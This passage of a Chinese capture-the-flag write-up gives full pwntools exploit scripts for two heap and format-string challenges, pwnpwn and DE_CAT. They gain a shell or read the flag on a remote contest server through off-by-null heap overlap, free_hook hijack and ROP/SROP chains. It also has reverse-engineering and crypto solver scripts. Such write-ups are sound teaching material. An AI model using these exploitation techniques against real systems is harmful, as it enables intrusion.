    syscall_ret=libc.search(asm('syscall;ret')).next()

 

    io.send('%15$p\x00')

    io.recvuntil('0x')

    stack=int(io.recv(12),16)-0x38-0xe8

    io.recv()

 

    pay='%'+str(stack&0xffff)+'c%15$hn'

    io.send(pay+'\x00')

    

 

    def go(a):

      io.sendafter('input your data ;)\n',a+'\x00')

 

    def fmt(addr,value):

      pay='%'+str(addr&0xffff)+'c%15$hn'

      go(pay)

      off_1=(value)&0xff

      if value==0:

        go('%45$hhn')

      else:

        go('%'+str(off_1)+'c%45$hhn')

 

      for i in range(5):

        pay='%'+str((addr+1+i)&0xff)+'c%15$hhn'

        go(pay)

        off_1=(value>>((i+1)*8))&0xff

        if value==0:

          go('%45$hhn')

        else:

          go('%'+str(off_1)+'c%45$hhn')

 

 

    fmt(stack,pop_rdi_ret)

    fmt(stack+0x8,bin_sh_addr)

    fmt(stack+0x10,pop_rsi_ret)

    fmt(stack+0x18,0)

    fmt(stack+0x20,pop_rsi_ret+1)

    fmt(stack+0x28,system_addr)

 

    pay='%'+str((stack-0x20)&0xffff)+'c%15$hn'

    go(pay)

    gdb_attach(io,gdb_text)

    go('%'+str(0xae)+'c%45$hhn')

 

    success('libc_base:'+hex(libc_base))

    success('stack:'+hex(stack))

    # success('heap_base:'+hex(heap_base))

    io.interactive()

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

 

 

4.pwnpwn

代码审计

main()

 

jhn3zpczep013789.jpg

 

sub_C60()

 

5ifmtttqa1t13793.jpg

 

该函数利用4个rand()%10,让我们猜4个数字

add()

 

h0aczjxnc1d13795.jpg

 

off by null漏洞

思路

利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/sh\x00”便可以getshell

exp:

from pwn import*
from ctypes import *

context(arch=
'i386', os='linux',log_level="debug")
context.terminal=[
"wt.exe","wsl.exe"]
libc = ELF(
"./libc-2.31.so")
# libc = ELF("./libc-so.6")
libc_run = cdll.LoadLibrary(
'./libc-so.6')

"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    
global p,elf 
    
# p = process(name)
    p = remote(
"47.108.165.60",30770)
    elf = ELF(name)

def add(idx,size,content):
    p.sendlineafter(
"root@$",'1')
    p.sendlineafter(
"give me your index:",str(idx))
    p.sendlineafter(
"give me your size:",str(size))
    p.sendafter(
"give me your content:",content)

def edit(idx,content):
    p.sendlineafter(
"root@$",'3')
    p.sendlineafter(
"give me your index",str(idx))
    p.sendlineafter(
"give me your index",str(idx))
    p.sendafter(
"give me your content:",content)
    

def dele(idx):
    p.sendlineafter(
"root@$",'4')
    p.sendlineafter(
"give me your index:",str(idx))

def show(idx):
    p.sendlineafter(
"root@$",'2')
    p.sendlineafter(
"give me your index:",str(idx))

def login(name,passwd):
    p.sendlineafter(
"root@$",'5')
    p.sendafter(
"please input your username",name)
    p.sendafter(
"please input your passwd",passwd)

# p.recvuntil("menu")
# libc_run.srand(libc_run.time(0))
# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  
libc_run.srand(libc_run.time(
0)+10)
num = (libc_run.rand()%
10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  

def pwn(num):

    p.sendlineafter(
"please input your number:",str(num))
    p.recvline()
    
if not p.recvuntil("you win",timeout=0.1):
        exit(
0)
    login(
"AAAAA","AA")

    add(
0,0x440,"AAA")
    add(
1,0x88,"AAA")
    add(
2,0x440,"AAAA")
    add(
3,0x60,"AAA")
    dele(
0)
    dele(
2)
    add(
0,0x450,"AAAA")
    add(
2,0x440,"AAAAAAAA")
    add(
4,0x440,"AAAAAAAA")
    edit(
4,"\x70"*9)
    login(
"AAAAA","A"*100)
    show(
4)
    libc.address = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']
    free_hook = libc.sym[
'__free_hook']
    print(hex(libc.address))
    login(
"AAAAA\x00","AAA\x00")
    edit(
4,"A"*0xf+"+")
    login(
"AAAAA","A"*100)
    show(
4)
    p.recvuntil(
"+")
    heap_addr = u64(p.recv(
6).ljust(8,b"\x00")) - 0x290
    print(hex(heap_addr))
    login(
"AAAAA\x00","AAA\x00")

    ptr = heap_addr + 
0xc60 - 0x20
    target = heap_addr + 
0x10c0 - 0x20
    edit(
0,p64(target))
    
# for i in range(5):
    
#     dele(i)


    
# add(7,0x80,"AAA")
    
# add(8,0x70,"AAAA")
    
# add(9,0x3f0,"AAAA")
    add(
5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))
    add(
6,0x218,"AAA")
    add(
7,0x4f0,"AAAA")
    dele(
6)
    add(
6,0x218,b"A"*0x210+p64(0x440))
    dele(
7)

    add(
7,0x210,"AAAA")
    add(
8,0x60,"AAAAA")

    dele(
3)
    dele(
6)
    login(
"AAAAA\x00","AAA\x00")

    edit(
8,p64(free_hook))

    add(
6,0x60,"/bin/sh\x00")
    add(
3,0x60,p64(libc.sym['system']))
    dele(
6)
# gdb.attach(p,"")
while True:
    
try:
        get_p(
"./pwnpwn")
        pwn(num)
        p.interactive()
    
except:
        p.close()
# get_p("./pwnpwn")
# pwn()
# p.interactive()
 
或者脚本:
from pwn import *
from struct import pack
from ctypes import *
import hashlib
context(os='linux', arch='amd64', log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
 
p = remote('47.108.165.60', 26364)
elf = ELF("./pwnpwn")
 
libc = ELF('./libc-2.31.so')
 
my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = my_libc.srand(my_libc.time(0))
num_4 = my_libc.rand() % 10
num_3 = my_libc.rand() % 10
num_2 = my_libc.rand() % 10
num_1 = my_libc.rand() % 10
num = num_4*1000 + num_3*100 + num_2*10 + num_1
sla("please input your number:",str(num))
 
menu = 'root@$\n'
def add(index, size, content = b'a'):
    sla(menu, '1')
    sla('give me your index:\n', str(index))
    sla('give me your size:\n', str(size))
    sa('give me your content:\n', content)
def show(index):
    sla(menu, '2')
    sla('give me your index:\n', str(index))
def edit(index, content):
    sla(menu, '3')
    sla('give me your index\n', str(index))
    sla('give me your index\n', str(index))
    sa('give me your content:\n', content)
def delete(index):
    sla(menu, '4')
    sla('give me your index:\n', str(index))
def login(user, passwd):
  sla(menu, '5')
  sla(b'username\n', user)
  sla(b'passwd\n', passwd)
 
login(b'1', b'1')
 
add(0,0x418, b"A"*0x100) 
add(1,0x108) #1 barrier
add(2,0x438, b"B0"*0x100) 
add(3,0x438, b"C0"*0x100) 
add(4,0x108,b'4'*0x100) 
add(5, 0x488, b"H"*0x100) 
add(6,0x428, b"D"*0x100)
add(7,0x108)
 
delete(0)
delete(3) 
delete(6) 
 
delete(2)
 
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) 
 
add(3,0x418) 
add(6,0x428) 
add(0,0x418,b"0"*0x100) 
 
delete(0)
delete(3) 
add(0, 0x418, b'a' * 8) 
add(3, 0x418)   
 
delete(3) 
delete(6) 
add(6,0x500-8, b'6'*0x488 + p64(0x431)) 
add(3, 0x3b0)
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))
delete(6)
add(6,0x438)
login(b'2133', b'2131221')    
show(4)
libc_base = get_addr() - 0x1ecbe0
login(b'a'*8, b'\x01'*0x106)
delete(6) 
add(6, 0x458, 0x438*b'6'+p64(0x111)) 
delete(7) 
delete(4) 
 
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook']))
 
add(7,0x108,b'/bin/sh\x00')
add(4,0x108)
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
 
inter()

这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次

5.DE_CAT

代码审计

main()

 

wgw3z1j5sn013796.jpg

 

经典堆题

init_s()

 

ntdszqbcv1r13797.png

 

不用看就知道了,要orw

edit()

 

gev0s2ngnoo13800.jpg

 

又是off_by_null

思路

先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流

exp:

from pwn import*
context(arch=
'i386', os='linux',log_level="debug")
context.terminal=[
"wt.exe","wsl.exe"]
# libc = ELF("../libc/")
libc = ELF(
"./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    
global p,elf 
    
# p = process(name)
    p = remote(
"47.108.165.60",45244)
    elf = ELF(name)

def add(size,content):
    p.sendlineafter(
"input your car choice >> ","1")
    p.sendlineafter(
"size:",str(size))
    p.sendafter(
"content:",content)

def edit(idx,content):
    p.sendlineafter(
"input your car choice >> ",'4')
    p.sendlineafter(
"idx:",str(idx))
    p.sendafter(
"content:",content)

def show(idx):
    p.sendlineafter(
"input your car choice >> ",'3')
    p.sendlineafter(
"idx:",str(idx))

def dele(idx):
    p.sendlineafter(
"input your car choice >> ",'2')
    p.sendlineafter(
"idx:",str(idx))

get_p(
"./CAT_DE")

add(
0x440,"AAA")
add(
0x88,"AAA")
add(
0x440,"AAAA")
add(
0x88,"AAA")
dele(
0)
dele(
2)
add(
0x450,"AAAA")
add(
0x440,"AAAAAAAA")
add(
0x440,"AAAAAAAA")
show(
4)
libc.address = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 0x21a000 - 0xe0
envrion = libc.sym[
'environ']
stdout = libc.sym[
'_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(
2)

heap_addr = u64(p.recv(
8)) - 0x290
print(hex(heap_addr))

for i in range(7):
    add(
0xf8,"AAA")

add(
0x108,"AAA")
add(
0xf0,"AAAA")
add(
0x88,"AAA")

for i in range(7):
    dele(i+
5)

target = heap_addr + 
0x17c0
ptr = heap_addr + 
0xc60
edit(
0,p64(target))
payload = p64(
0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(
0x100,b"\x00") + p64(0x100)
edit(
12,payload)
dele(
13)

add(
0xe8,"AAAA")
add(
0xe8,"AAAA")

dele(
5)
dele(
6)
show(
12)
p.recvuntil(
"\xf1")
p.recv(
7)
en_key = u64(p.recv(
8))
print(
"en_key ===> " + hex(en_key))
key = u64(p.recv(
8))
print(
"key ===> " + hex(key))
payload = p64(
0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(
0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(
12,payload)

add(
0xe8,"AAAA")
add(
0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))

add(
0xd0,"A"*8)
show(
7)
stack = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(
6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))


pop_rdi = 
0x000000000002a3e5 + libc.address
pop_rsi = 
0x000000000002be51 + libc.address
pop_rdx_r12 = 
0x000000000011f497 + libc.address
read_addr = libc.sym[
'read']
open_addr = libc.sym[
'open']
write_addr = libc.sym[
'write']

orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(
0) + p64(open_addr)
orw += p64(pop_rdi) + p64(
3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(
1) + p64(write_addr)

add(
0xd0,b"./flag".ljust(8,b"\x00")+orw)
# gdb.attach(p,"b *free")

p.interactive()

注意也是libc-2.35,利用不了hook。

 

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

 

context.log_level='debug'

elfelf='./CAT_DE'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

 

    gdb_text='''

      telescope $rebase(0x202040) 16

      b _IO_obstack_xsputn

      '''

 

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',49429)

      gdb_open=0

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

 

    def choice(a):

      io.sendlineafter(' >> \n',str(a))

 

    def add(a,b):

      choice(1)

      io.sendlineafter('size:\n',str(a))

      io.sendafter('content:\n',b)

  

    def edit(a,b):

      choice(4)

      io.sendlineafter(':\n',str(a))

      io.sendafter('content:\n',b)

 

    def show(a):

      choice(3)

      io.sendlineafter(':\n',str(a))

 

    def delete(a):

      choice(2)

      io.sendlineafter(':\n',str(a))

 

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    delete(0)

    delete(2)

    add(0x4f8,'\x00')

    add(0x4f8,'\x00')

    show(0)

    io.recvuntil('context:\n')

    io.recv(8)

    heap_base=u64(io.recv(6)+'\x00\x00')&0xfffffffffffff000

 

    show(2)

    io.recvuntil('context:\n')

    io.recv(8)

    libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

    gadget=[

    'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];',

    'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];',

    'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];',

    'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];',

    'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];'

    ]

    gadget_addr=libc.search(asm(gadget[3])).next()

 

    delete(3)

    delete(2)

    delete(1)

    delete(0)

 

    add(0x508,'aaa')

    add(0xf0,'aa')

    add(0xf8,'aa')

    add(0x4f0,'aaa')

    add(0xf0,'aa')

 

    edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10)

    edit(2,'\x00'*0xf0+p64(0x700))

    delete(3)

    delete(4)

    delete(1)

    add(0x540,'\x00'*0x4f0+p64(0)+p64(0x101)+p64((libc.sym['stderr'])^(heap_base>>12)))

 

 

 

    add(0xf0,'aa')

    add(0xf0,p64(heap_base+0x2b0))

 

 

    from FILE import *

    context.arch='amd64'

    IO=IO_FILE_plus_struct()

    IO._flags=0xfbad2087

    IO._lock= heap_base+0x10000 #can read addr

    IO._IO_save_base=0x21 #size unuse

    IO._chain=0x21 #size unuse

    IO.vtable=libc.sym['_IO_file_jumps']-0x240 

    #libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn

 

    IO_addr=heap_base+0x2b0

    SROP_addr=IO_addr+0x200+0x10

    obstack_addr=IO_addr+0xf0

    flag_name_addr=SROP_addr-0x8

 

    pay=str(IO)[0x10:]

    #pay+=obstack_addr

    pay+=p64(obstack_addr)

    #pading

    pay+='\x00'*0x8

    #obstack struct

    '''

    struct obstack          /* control current object in current chunk */

    {

      long chunk_size;              /* preferred size to allocate chunks in */

      struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */

      char *object_base;            /* address of object we are building */

      char *next_free;              /* where to add next char to current object */

      char *chunk_limit;            /* address of char after current chunk */

      union

      {

        PTR_INT_TYPE tempint;

        void *tempptr;

      } temp;                       /* Temporary for some macros.  */

      int alignment_mask;           /* Mask of alignment for each object. */

      struct _obstack_chunk *(*chunkfun) (void *, long);

      void (*freefun) (void *, struct _obstack_chunk *);

      void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */

      unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */

      unsigned maybe_empty_object : 1; /* There is a possibility that the current

      unsigned alloc_failed : 1;      

    };

    '''

    pay+='\x00'*0x38+p64(gadget_addr)

    pay+=p64(0)+p64(IO_addr+0x180+0x10)+p32(1)

 

    pay=pay.ljust(0x180,'\x00')

    pay+=p64(0)+p64(SROP_addr)

    pay=pay.ljust(0x1f8,'\x00')

    

 

    srop=SigreturnFrame()

    srop.rsp=SROP_addr+0x100

    srop.rdi=0

    srop.rsi=0

    srop.rdx=0x30

    srop.rip=pop_rax_ret+1

 

    pay+='./flag\x00\x00'

 

    pay+=str(srop)[:0x20]

    pay+=p64(libc.sym['setcontext']+61)

    pay+=str(srop)[0x28:]

 

    pay=pay.ljust(0x300,'\x00')

 

    pay+=p64(pop_rax_ret)+p64(3)

    pay+=p64(syscall_ret)

 

    pay+=p64(pop_rdi_ret)+p64(flag_name_addr)

    pay+=p64(pop_rsi_ret)+p64(0)

    pay+=p64(pop_rax_ret)+p64(2)

    pay+=p64(syscall_ret)

 

    

    pay+=p64(pop_rax_ret)+p64(0)

    pay+=p64(pop_rdi_ret)+p64(0)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

 

    pay+=p64(pop_rax_ret)+p64(1)

    pay+=p64(pop_rdi_ret)+p64(1)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

 

 

    delete(2)

    delete(3)

    edit(1,(p64(0xfbad2087)+p64(0)+pay).ljust(0x4f0)+p64(0)+p64(0x101)+p64((heap_base+0xfa0)^(heap_base>>12)))

 

    add(0xf0,'aa')

    add(0xf0,p64(0)+p64(0x300))

 

 

    

 

 

    

    success('libc_base:'+hex(libc_base))

    success('heap_base:'+hex(heap_base))

 

    gdb_attach(io,gdb_text)

    io.interactive()

 

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

 

 

 

四、REVERSE

1.ez_cpp

patch程序, 输出匹配的密文数量到exitcode。

.text:00413CFA                 jmp     short loc_413D19

.text:00413CFA ; ---------------------------------------------------------------------------

.text:00413D19 loc_413D19:                             ; CODE XREF: .text:00413CFA↑j

.text:00413D19                 push    ecx

.text:00413D1A                 nop

.text:00413D1B                 call    ds:__imp_exit

爆破脚本:

import string
import os
import time

table = string.ascii_letters+string.digits+'!-{}'
# table = string.printable
# 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}'
theflag = ''
while len(theflag) < 32:
    for ch in table:
        flag = (theflag+ch).ljust(32, '#')
        exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0")
        if exitcode >= len(theflag) + 1:
            theflag += ch
            print(theflag, exitcode)
            break
    else:
        print('not found')
    time.sleep(0.1)

2.3D_Maze

dump迷宫地图


m = ['#', ' ', '2', '$', '3', '@', '5']

for level in range(6):
    print('level', level)
    for y in range(10):
        line = ''
        for x in range(10):
            n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4)
            line += m[n]
        print(line)

手搓


level 0      跳 1-?-0
## #######
## #### ##
## #    ##
## # #####
## #     *衔接1   wddwwdddddD
## # #####
##       *衔接1   
##4# #####
###$######
###*######      w

level 5          可以跳回 0-9-3
###*######
### ######
### ######
### ######
### ######
##  ######
## #######
*  #######      ddwwdwwwwwW
##########
##########

level 1
##########
#    #####
# ##     *衔接2   dwwwdddsdddddD
# ########
* ########
##########
*    #####
##########
##########
##########

level 3       可以跳到5-7-0
##*#######    sssssssssS
## #######
## #  ####
##  ## ###
##  ######
##  ######
##  ## ###
## #  ####
## #######
##*#######

level 2       可以跳到4-0-9
*#########    wwW
 #########
*## # ### 
## # # # #
## #### ##
### ### ##
#### ## ##
## # ## ##
### ### ##
##########

level 4          可以跳3-0-2
######## *  从2过来  
######## #
*        #         assaaaaaaaaA
##########
##########
##########
##########
##########
##########
##########


00000000000111111111111112224444444444443333333333555555555550
wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw

snake:

import ctypes

from Crypto.Cipher import ARC4

from hashlib import md5

 

libc = ctypes.CDLL("ucrtbase.dll")

libc.srand.argtypes = [ctypes.c_uint]

libc.rand.restype = ctypes.c_int

 

srand = libc.srand

rand = libc.rand

 

srand(0x94307F97)

seed_list = []

for i in range(361):

    seed_list.append(rand())

 

 

def enc(buf, size, seed):

    srand(seed)

    keysize = int(rand()*1.0/32767.0 * 256.0)

    table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\x00'

    pwd = ''

    for i in range(keysize):

        idx = int(rand()*1.0 / 32767.0 * 63.0)

        pwd += table[idx]

 

    cipher = ARC4.ARC4Cipher(pwd.encode())

    xorstream = b'\x00'*size

    xorstream = cipher.encrypt(xorstream)

    outbuf = bytearray(buf)

    for i in range(size):

        outbuf[i] ^= xorstream[i]

    return bytes(outbuf)

 

 

foods = []

for i in range(361):

    srand(seed_list[i])

    while 1:

        y = rand() % 20

        x = rand() % 20

        if not (x == 0 or x == 19 or y == 0 or y == 19):

            # print(i, y, x)

            foods.append((y, x))

            break

 

 

tmp = 0x92

 

data = b'\x02'

for i in range(2):

    data += bytes([data[-1] ^ 0xBE])

# print(data.hex())

 

flag_data = data[:]

eat_count = 361 # 初始长度就是3, 但是要求吃361个 ???

for i in range(eat_count):

    y, x = foods[i]

    pos = y << 8 | x

    data = enc(data, 3+i, pos)

    # print(data.hex())

 

    _tmp = tmp

    # print(hex(tmp-1), hex(data[0]-1))

    tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF

    flag_data = data[:]

    data = data[::-1]

    data += bytes([_tmp])

    # print(hex(tmp))

 

s = flag_data.ljust(361, b'\x00').hex().encode()

print('flag_data', len(flag_data))

print('SYC{'+md5(s[:722]).hexdigest()+'}')

babythread:

断在0x411BDE位置,把输入替换成密文

(DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91)。

然后断在memcmp处, 拿到明文flag。

k='!This_program_cannot'
def Rc4_Encrypt(m,key):
    s=[]
    t=[]
    out=[] #putput
    for i in range(256):
        s.append(i)
        t.append(key[i%len(key)])

    j=0
    for i in range(256):
        j=(j+s[i]+t[i])%256
        s[i],s[j]=s[j],s[i]

    i,j=0,0
    for p in range(len(m)):
        i=(i+1)%256
        j=(j+s[i])%256

        s[i],s[j]=s[j],s[i]

        index=(s[i]+s[j])%256
        out.append(s[index]^m[p])
    print(bytes(out))

rck=[0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7]
enc=[0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91]
Rc4_Encrypt(enc,rck)

 

 

0129FE14  53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61  SYC{Th1s_is_@_Ea  
0129FE24  73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D  sY_3ncryptO!!!!}

3.gowhere


from claripy import *
from libnum import *


tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)]
# x_flag = b'111111111122222222223333333333'
# tmp_flag = [BVV(x_flag[i], 8) for i in range(30)]
flag = Concat(*tmp_flag)
unk = 9


def enc1():
    global unk
    unk += 1
    if unk & 1 == 0:
        for i in range(30):
            tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17


def enc2():
    global unk
    unk += 1
    tmp_flag[0] += 2
    tmp_flag[1] -= 28
    tmp_flag[2] ^= 0x47
    tmp_flag[3] += tmp_flag[4]
    tmp_flag[5] += 73
    tmp_flag[6] += 12
    tmp_flag[7] -= tmp_flag[8]
    tmp_flag[8] ^= 0x5A
    tmp_flag[9] ^= 0x22
    tmp_flag[10] += 20
    tmp_flag[12] -= 84
    tmp_flag[13] ^= 4
    tmp_flag[14] ^= 0x1C
    tmp_flag[17] -= 1
    tmp_flag[27] ^= 0x11
    tmp_flag[28] ^= 3


def enc3():
    global unk
    if unk % 3 == 2:
        v13 = 0
        v11 = 29
        while v13 < 15:
            tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13]
            v13 += 1
            v11 -= 1
    unk += 1


solve = Solver()
for i in range(4):
    enc1()
    enc2()
    enc3()

print(hex(unk))

enc_flag = bytes.fromhex(
    '4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7')

for i in range(30):
    solve.add(enc_flag[i] == tmp_flag[i])


for k in solve.eval(flag, 2):
    print(n2s(k))

# b'SYC{I_h0pE_you_cAn_FInd_d4eam}'

4.ezr3

脱壳,调试

魔改UPX,将文件中的HCK改为UPX即可通过 upx -d 脱壳。

 

3qvoylnfqmi13802.jpg

 

之后运行该文件发现报错信息如下,通过 system/bin/linker64 可知该文件为安卓平台下的ELF 

可执行文件 

 

wbddqs3fldy13803.jpg

 

之后即可将文件push到手机上并通过安卓真机+IDA调试

分析

main函数开头会修改内存中的数据,调试获取即可

 

qqrhd12osf413805.jpg

 

加密过程如下:循环移位、异或、乘法运算

 

fq1bgtjrfop13807.jpg

 

脚本:

unsigned int fin[36] = { 
0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0, 
0x00001888, 0x00003B80, 
0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860, 
0x0014F410, 0x0002CB9F, 
0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D, 
0x00050CF8, 0x00005D64, 
0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F, 
0x000DBACB, 0x00049680, 
0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3 
}; 
unsigned long mul[36] = { 
0x0000000000000D21, 0x000000000000009D, 0x000000000000094B, 
0x00000000000003C9, 
0x0000000000000C3F, 0x00000000000017E9, 
0x000000000000130E, 0x0000000000000088,0x0000000000000486, 
0x000000000000202F, 
0x0000000000002230, 0x00000000000024B4, 
0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2, 
0x00000000000023EB, 
0x0000000000000C7E, 0x000000000000042B, 
0x00000000000005BF, 0x000000000000113C,0x0000000000000449, 
0x0000000000001751, 
0x0000000000000ACE, 0x0000000000001894, 
0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD, 
0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111, 
0x0000000000000D1C, 
0x000000000000238E, 0x0000000000001759, 0x000000000000012B, 
0x000000000000214D 
}; 
unsigned char flag[40] = { 0 }; 
unsigned long* a = &mul[18]; 
for (int i = 0; i < 36; i += 6) { 
flag[i] = fin[i] / (*(a - 18)); 
flag[i + 1] = fin[i + 1] / (*(a - 12)); 
flag[i + 2] = fin[i + 2] / (*(a - 6)); 
flag[i + 3] = fin[i + 3] / (*(a)); 
flag[i + 4] = fin[i + 4] / (*(a + 6)); 
flag[i + 5] = fin[i + 5] / (*(a + 12)); 
a++; 
} 
int j = 0; 
for (int i = 35; i >= 0; --i) { 
flag[i] ^= flag[j++]; 
flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff; 
} 
printf("%s", flag);

 

yxyxg4g2fne13808.jpg  

 

 

 

 

 

 

五、CRYPTO

1.signin

关键点是求出data1,data2。通过data3 = ring(data1 / data2)

我们可以使用连分数求解。

脚本1:

import gmpy2
from Crypto.Util.number import long_to_bytes


#求出data1,data2
data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588


c = continued_fraction(data3)
print(c)


alist = c.convergents()
print(alist)


for i in alist:
a = str(i).split('/')
if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(
a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256:
print(a)
break
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']


#解密leak得到p-q
data1=97093002077798295469816641595207740909547364338742117628537014186754830773717
